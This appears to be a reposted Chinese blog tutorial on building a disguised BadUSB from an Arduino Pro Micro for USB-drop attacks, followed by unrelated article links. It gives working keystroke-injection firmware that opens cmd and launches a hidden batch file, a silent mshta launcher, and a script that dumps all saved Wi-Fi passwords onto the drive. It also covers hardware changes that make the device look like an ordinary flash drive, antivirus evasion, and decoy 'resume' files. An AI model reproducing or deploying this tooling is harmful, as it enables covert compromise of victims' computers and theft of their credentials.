U盘植马之基于arduino的badusb实现及思考

news2024/11/26 11:31:31

引言

曾经有这么一段传说,在某次攻防演练时,某攻击队准备了一口袋U盘前往了目标单位的工作园区,在园区围墙外停下了脚步,然后开始不停扔U盘进去,最后发现有大量的“猎奇者”上线。

U盘植马是常见的近源渗透方式之一,本文主要讲解一种基于arduino的badusb植入技术,即插即用且不会被杀毒软件检测出来,希望大家在通过U盘传递各类“学习资料”时一定要多留一个心眼。

badusb技术简介&相似技术对比

badusb技术

BadUSB是利用伪造HID设备执行攻击载荷的一种攻击方式。HID(Human InterfaceDevice)设备通常指的就是键盘鼠标等与人交互的设备,用户插入BadUSB,就会自动执行预置在固件中的恶意代码。

BadUsb插入后,会模拟键盘鼠标对电脑进行操作,通过这些操作打开电脑的命令终端,并执行一条命令,这条命令将从指定网址下载其他代码并于后台静默运行。这些代码功能包括:窃取信息、反弹shell、发送邮件等,从而实现控制目标机或者窃取信息的目的。

恶意代码存在于U盘的固件中,PC上的杀毒软件无法访问到U盘存放固件的区域,因此也就意味着杀毒软件和U盘格式化都无法防御BadUSB的攻击。

AutoRun技术对比

AutoRun技术在早期的打印店里传播较为广泛。U盘病毒的原理主要依赖于AutoRun.inf文件。AutoRun.inf文件最早见于光盘中,它的作用是在载入光盘(或双击具有AutoRun.inf文件光盘的驱动器盘符)时自动运行指定的某个文件。由于它特有的功能和性质,从2006年左右开始,AutoRun.inf文件被利用在U盘和硬盘之间传播木马或病毒程序。

这种技术路线的AutoRun.inf是会被操作系统读取到的,也就意味着杀毒软件可以进行识别与查杀。相比badusb的固件不对系统开放,AutoRun技术路线被查杀的概率要大的多。

按键精灵类软件外挂

按键精灵是一款模拟鼠标键盘动作的软件。通过制作脚本,可以让按键精灵代替双手,自动执行一系列鼠标键盘动作。

按键精灵简单易用,不需要任何编程知识就可以作出功能强大的脚本。只要在电脑前用双手可以完成的动作,按键精灵都可以替代完成。

但是通常是使用系统api调用实现模拟键鼠操作。而系统api通常都在杀毒软件的控制之内,是可以被程序识别到的,所以经常会出现被当作外挂封号。

BadUSB则是利用写死在固件里的代码进行一系列模拟键鼠操作,通过正规的渠道,走usb协议传输给操作系统,操作系统只会认为是一个外接键盘进行了这一系列操作。

综上所述,对比AutoRun和按键精灵,badusb都更隐蔽,且不易被识别为恶意行为。

badusb复现

使用道具 :arduino pro micro mini

图片

使用ardino官方ide,代码如下:

# include "Keyboard.h"# define KEY_ESC 41# define KEY_BACKSPACE 42# define KEY_TAB 43# define KEY_PRT_SCR 70# define KEY_DELETE 76# define KEY_CAPS_LOCK 0x39
void setup() {Keyboard.begin();//开始键盘通信delay(10009);Keyboard.press(KEY_CAPS_LOCK); //按下大写键 这里我们最好这样写 不然大多数电脑在中文输入的情况下就会出现问题Keyboard.release(KEY_CAPS_LOCK); //释放大写键delay(500);Keyboard.press(KEY_LEFT_GUI);//按下徽标键 也就是win键delay(500);Keyboard.press('r');//按下r键delay(500);Keyboard.release(KEY_LEFT_GUI);//松掉win键Keyboard.release('r');//松掉r键Keyboard.println("CMD /t:01 /k @ECHO OFF && MODE CON:cols=15 lines=1");//输入cmd进入DOSdelay(500);Keyboard.press(KEY_RETURN);Keyboard.release(KEY_RETURN);// Keyboard.println("calc");//启动计算器,或其他命令行。Keyboard.println("for  %i in (A B C D E F G H I J K L M N O P Q R S T U V W X Y Z) do \"%i:\\aaaaaaaaaaaaaaaaaaaaaaaaaaaaaa\\1.bat\"");Keyboard.press(KEY_RETURN);Keyboard.release(KEY_RETURN);// Keyboard.println("exit");
// Keyboard.press(KEY_RETURN);
// Keyboard.release(KEY_RETURN);
}void loop() {}

选好板子和端口按→烧录即可。

图片

传统badusb的局限性

局限性

从上述描述可知,badusb其实就是模拟键盘打开cmd执行命令,通常会远程加载一个木马到本地运行并上线,达到控制主机的目的。这种方式存在以下局限性:

1、badusb本身不会被杀软察觉,但是执行的一些命令因为比较危险容易被杀毒软件拦截。

2、如果是网络联通有问题的主机会因下载不了木马而无法控制。

3、社工场景下通常是假装U盘来传播文件,如果U盘插入后不能使用便会引起怀疑,造成不良影响。

解决思路

如果badusb不仅仅是个模拟键盘而且还是个u盘,两个设备一起插入主机。以上问题都可得到解决。

1、命令行执行D:/1.exe通常是不会被拦截(当然要做好静态动态免杀)。用管道符把命令换成A:/c4ca4238a0b923820dcc509a6f75849b.exe||B:/c4ca4238a0b923820dcc509a6f75849b.exe||C:/c4ca4238a0b923820dcc509a6f75849b.exe||D:/c4ca4238a0b923820dcc509a6f75849b.exe.....................................总有一个轮到插入u盘那个盘符。

2、不出网主机一样可以执行程序,没必要非要给终端植马,可以利用程序搜集一些敏感信息,自带u盘的功能很好储存并带走结果文件。

3、插上后让终端显示真的是有U盘载入。可以提前放上适配场景的道具(如简历,“学习资料”等),避免引起用户的怀疑。

改进的badusb技术

基于以上几点我们对badusb进行了改进,首先可以使用usb一转多转换器,接一个sd卡读卡器,接一个arduino,使badusb不仅是一个模拟键盘程序,同时也是一个正常的U盘。

图片

然后重新画板实现体积压缩。简单分析usb转换器电路,发现就是一个芯片在起作用。型号为MW7211A。

图片

明确接线方式后把芯片取下来。

图片

设计一个原理图,然后生成pcb板图,可以用嘉立创来打板。

图片

图片

图片

然后通过飞线的方式连接sd卡读卡器。

图片

侧面图,三个板子叠起来也只是略大于读卡器。

图片

应用实践

我们以插入badusb后获取目标主机的wifi连接密码为例做个实验:

U盘内文件结构

PS U:> treer -d vue├─简历.txt├─aaaaaa  //隐藏文件夹|  ├─1.bat //主bat,后台静默执行,以求及时推出badusb启动的cmd框|  ├─getwifi.bat //获取所有本机wifi连接记录的密码1.bat@echo offif "%1" == "h" goto beginmshta vbscript:createobject("wscript.shell").run("""%~0"" h",0)(window.close)&&exit:begin
start /b %~dp0/getwifi.batgetwifi.bat@echo off
for /f "skip=9 tokens=1,2 delims=:" %%i in ('netsh wlan show profiles') do @echo%%j | findstr -i -v echo | netsh wlan show profiles %%j key=clear>>%~dp0/1.txt

插入终端后的效果如下,因为是模拟键盘输入,所以会有一闪而过的键盘操作出现。

,时长00:12

拔出U盘后可在隐藏目录中获取结果文件。

图片

思考展望

实际上,通过硬件方式解决局限还是比较硬核的做法。最开始的时候是准备通过软件方式去模拟多个硬件的。在实际研究过程中,模拟出了usb大容量存储,但识别不出盘符。经过一段时间的在模拟usb协议方面的研究,有了以下思考:

1、通过模拟实现U盘的时候甚至可以劫持删文件指令,也许可以用来达到另类的免杀,比如杀软报毒但是删不掉文件。

2、理论上也可以模拟移动光驱等硬件,绕过禁用usb大容量存储的策略。

3、硬件层面也可以使用usb一转二板子实现更多功能比如把arduino芯片和sd卡槽全拼在一张板子上,做到更小体积。

参考文献

https://github.com/Palatis/Arduino-Lufa

https://github.com/abcminiuser/lufa

https://mp.weixin.qq.com/s/gPdSrOOETkCaM-KLPLIOfw

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.coloradmin.cn/o/1049276.html

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈,一经查实,立即删除!

相关文章

若依不分离+Thymeleaf select选中多个回显

项目中遇到的场景&#xff0c;亲测实用 表单添加时&#xff0c;select选中多个&#xff0c;编辑表单时&#xff0c;select多选回显&#xff0c;如图 代码&#xff1a; // 新增代码 <label class"col-sm-3 control-label">通道&#xff1a;</label><…

再学C++ | std::set 的原理

std::set 是C标准库中的容器之一&#xff0c;它基于红黑树实现。std::set 利用红黑树的特性来实现有序的插入、查找和删除操作&#xff0c;并且具有较好的平均和最坏情况下的时间复杂度。 当向 std::set 插入元素时&#xff0c;它会按照特定的比较函数&#xff08;bool less<…

软件可靠性基础

软件可靠性基础 软件可靠性基本概念串并联系统可靠性计算软件可靠性测试软件可靠性建模软件可靠性管理软件可靠性设计容错&#xff0c;检错的技术 选择题考基本概念&#xff08;MTBF&#xff09;&#xff0c;很少考 非重点 软件可靠性基本概念 这个章节中&#xff0c;第一个…

Leetcode算法题练习(一)

目录 一、前言 二、移动零 三、复写零 四、快乐数 五、电话号码的字母组合 六、字符串相加 一、前言 大家好&#xff0c;我是dbln&#xff0c;从本篇文章开始我就会记录我在练习算法题时的思路和想法。如果有错误&#xff0c;还请大家指出&#xff0c;帮助我进步。谢谢&…

2023-9-27 JZ55 二叉树的深度

题目链接&#xff1a;二叉树的深度 import java.util.*; /** public class TreeNode {int val 0;TreeNode left null;TreeNode right null;public TreeNode(int val) {this.val val;}} */ public class Solution {public int TreeDepth(TreeNode root) {if(root null) ret…

续航605km,价格 11.77 万起带激光雷达,你卷我也卷

9 月 21 日&#xff0c;睿蓝 7 正式上市&#xff0c;新车提供 6 款车型&#xff0c;售价区间 11.77-17.37 万元。 权益方面&#xff0c;提供 701 元订金抵 2000 元车款、2000 元选装基金、终身 24 小时救援服务、10 万 3 年 0 息金融政策、3000 元置换/ 1000 元增购补贴、6 年/…

【Java 进阶篇】MySQL主键约束详解

MySQL是一个强大的关系型数据库管理系统&#xff0c;用于存储和管理大量数据。在数据库中&#xff0c;主键约束是一项非常重要的概念&#xff0c;它有助于确保数据的完整性和唯一性。本文将详细介绍MySQL主键约束&#xff0c;包括什么是主键、为什么需要主键、如何创建主键以及…

自增自减运算符i++与++i的区别

自增自减运算符用作前缀与用作后缀时略有不同。 i和i的区别&#xff1a; 1、i 返回原来的值&#xff0c;i 返回加1后的值。&#xff08; a i 是先给 a 赋值&#xff0c;然后 i 再自增&#xff1b;a i是 i 先自增&#xff0c;然后给 a 赋值。&#xff09; #include<iost…

(2023|ICLR,检索引导,交叉引导,EntityDrawBench)Re-Imagen:检索增强的文本到图像生成器

Re-Imagen: Retrieval-augmented text-to-image generator 公众号&#xff1a;EDPJ&#xff08;添加 VX&#xff1a;CV_EDPJ 或直接进 Q 交流群&#xff1a;922230617 获取资料&#xff09; 目录 0. 摘要 1. 简介 2. 相关工作 3. 模型 3.1 预备知识 3.2 用多模态知识…

msvcp140.dll丢失的解决方法与msvcp140.dll是什么东西详细解析

在使用电脑时&#xff0c;可能会遇到打开软件时提示“找不到 msvcp140.dll&#xff0c;无法继续执行代码”的问题。这通常意味着你的计算机上缺少 Microsoft Visual C Redistributable 的运行时库&#xff0c;或者该库的版本不正确。下面是我找了几天的修复方法&#xff0c;今天…

PBR的应用

项目拓扑与项目需求 项目需求&#xff1a;某企业网络拥有三个出口&#xff0c;分别使用AR1、AR2、AR3链接运营商网络。其中AR1为万兆出口&#xff0c;而AR2、AR3为千兆出口。现在需要实现以下需求&#xff1a; 希望vlan10的流量能够强制通过AR1作为业务的出口&#xff0c;vla…

iCloud邮箱怎么登录?看这里,2招教你搞定!

iCloud邮箱是苹果公司推出的一款功能强大的邮件服务。通过iCloud邮箱&#xff0c;用户可以实现接收和发送电子邮件。苹果强调保护用户的隐私和数据安全&#xff0c;所以icloud邮箱为用户提供了高度保密的邮件加密服务&#xff0c;能够确保用户的邮件在传输时得到保护。 但是&a…

Kotlin语言基础(三)- 函数

函数可以定义特定功能的代码块。 一、函数定义 Kotlin语言定义函数的基本形式&#xff1a; fun 函数名(【参数&#xff1a;参数类型,参数&#xff1a;参数类型…】)【:返回值类型】{ //函数体 } 如果函数体只有一条返回值&#xff0c;也可以简化成如下形式&#xff1a; fun 函…

springboot实现ACL+RBAC权限体系

本文基于web系统的权限控制非常重要的前提下&#xff0c;从ALC和RBAC权限控制两个方面&#xff0c;介绍如何在springboot项目中实现一个完整的权限体系。 源码下载 &#xff1a;https://gitee.com/skyblue0678/springboot-demo 序章 一个后台管理系统&#xff0c;基本都有一套…

更好用的Mybatis Plus:Mybatis Flex(下)

前言 上篇文章讲了 Mybaits Flex 的基础用法&#xff0c;这次讲一下 Mybatis Flex 的进阶用法&#xff0c;包含了一些 Mybatis Flex 核心的一些功能。&#xff08;以下简称 MF&#xff09; 逻辑删除 上篇文章讲到了 Column 注解&#xff0c;其中有个属性为 isLogicDelete &…

2023软工作业(一)——计算器

班级班级社区作业要求软件工程实践第一次作业-CSDN社区作业目标完成一个具有可视化界面的科学计算器参考文献Fyne 目录 作业要求 项目源码地址 作业目标 0. 界面及功能展示 1. PSP表格 2. 解题思路描述 3. 核心代码 4. 设计与实现过程 5. 程序性能改进 6. 单元测试展…

向华为学习:制订一份分工明确、能够落地的产品GTM行动计划表

昨天华研荟介绍了新产品上市的GTM的定义、GTM这个岗位&#xff08;角色&#xff09;的主要工作以及新产品的GTM要回答好的四个问题&#xff08;Why、What、How、Where&#xff09;&#xff0c;帮助大家初步理解了让产品上市更成功的GTM流程。 如我昨天在文章中所讲到的&#x…

ACM MM 2023 | 基于去中心化表征的人体姿态估计方法

01. 前言 北京邮电大学与EVOL创新团队共同提出人体姿态估计方法DecenterNet&#xff0c;用于在提高在拥挤场景下人体姿态估计的准确度。该方法引入了一种去中心化的姿势表征方法&#xff0c;使得网络在纠缠区域/拥挤区域中将更加稳健地表达人体姿态。该方法还提出了一个解耦的…

LeetCode【577. 员工奖金】

表&#xff1a;Employee ---------------------- | Column Name | Type | ---------------------- | empId | int | | name | varchar | | supervisor | int | | salary | int | ---------------------- empId 是该表中具有唯一值的列。 该…

BFS专题7 多终点迷宫问题

题目&#xff1a; 样例&#xff1a; 输入 3 3 0 0 0 1 0 0 0 1 0 输出 0 1 2 -1 2 3 -1 -1 4 思路&#xff1a; 单纯的 BFS 迷宫问题&#xff0c;只是标记一下每个点的 step&#xff0c;注意初始化答案数组都为 -1. 代码详解如下&#xff1a; #include <iostream> #…